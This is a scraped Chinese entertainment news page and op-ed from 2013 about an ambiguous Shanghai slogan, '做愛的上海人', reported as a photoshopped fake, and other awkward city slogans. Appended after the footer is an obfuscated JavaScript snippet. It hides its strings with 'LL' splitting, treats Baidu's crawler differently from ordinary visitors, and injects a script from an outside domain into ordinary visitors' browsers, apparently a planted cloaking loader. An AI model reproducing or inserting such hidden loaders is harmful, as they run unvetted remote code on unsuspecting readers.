當(dāng)前位置:首頁 > 娛樂 > 雷人囧事 > 正文

“做愛的上海人” 網(wǎng)友“這是高級(jí)黑還是繞口令”

2013-01-07 19:05:48  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:雷人標(biāo)語經(jīng)常見,可像這樣雷人的還真不多。網(wǎng)友蓑笠太公:上海果然是大都市,好開放啊。網(wǎng)友綠林外事:絕對(duì)是視覺垃圾,耍小聰明,污染環(huán)境

雷人標(biāo)語經(jīng)常見,可像這樣雷人的還真不多。網(wǎng)友“蓑笠太公”:上海果然是大都市,好開放啊。網(wǎng)友“綠林外事”:絕對(duì)是視覺垃圾,耍小聰明,污染環(huán)境,建議有關(guān)部門早日拆除。

上海雷人標(biāo)語“做愛的上海人”,網(wǎng)友:這是高級(jí)黑還是繞口令,上海媒體辟謠:“做愛的上海人”標(biāo)語系PS


  雷人標(biāo)語經(jīng)常見,可像這樣雷人的還真不多。近日,網(wǎng)友在人人網(wǎng)上發(fā)布了一張照片,引發(fā)熱議。網(wǎng)友“李小蠻子”發(fā)帖稱:“上海這標(biāo)語是高級(jí)黑還是繞口令:1.做愛的上海人;2.做上海愛的人;3.做愛上海的人;4.上海做愛的人;5.上海的人做愛;6.做愛的人上海。”照片是某座樓的外墻,上面有一則口號(hào)。(1月5日《城市信報(bào)》)

  天下之大,無奇不有。我看完這篇消息以后,一點(diǎn)也不感到可笑,而是發(fā)至內(nèi)心地感到可悲。忽然想起了網(wǎng)絡(luò)上流行的一句話,做愛做之事,交配交之人。這句話巧妙地利用了做愛,交配這兩個(gè)詞,雖然說不雅,但是畢竟意義明確??墒?,再看看“做愛的上海人”這個(gè)標(biāo)語,這是什么勞什子?從正面來理解,這是號(hào)召大家做一個(gè)有愛心的上海人,然而,也可以理解為上海人喜歡做愛。眾所周知,不莊重,容易引起歧義,這是標(biāo)語制作的大忌。我個(gè)人認(rèn)為,要么撤掉這條標(biāo)語,要么改成“當(dāng)愛的上海人”,盡管只有一字之差,就不會(huì)引起誤會(huì)了,豈非三十晚上吃餃子――皆大歡喜嗎?

  類似的“雷人標(biāo)語”到處都有,時(shí)??梢?,影響極壞,害莫大焉。君請(qǐng)看,有這樣一個(gè)讓人笑掉大牙的標(biāo)語:宜春,一個(gè)叫春的城市。什么亂七八糟的?這個(gè)可以有的話,那寶雞,就是一個(gè)叫雞的城市;那南昌,就是一個(gè)叫娼的城市。這不是拿中國的傳統(tǒng)文化開涮嗎?怎能不讓外國人齒冷三天呢?任憑這種烏七八糟的標(biāo)語肆無忌憚地存在下去,那諸如“西門慶飯店歡迎你”、“鄱金蓮旅店恭候你”的標(biāo)語就會(huì)如雨后春筍般地出現(xiàn)。到那時(shí),我們將如何應(yīng)對(duì)呢?

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
熱門專區(qū)+全部
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}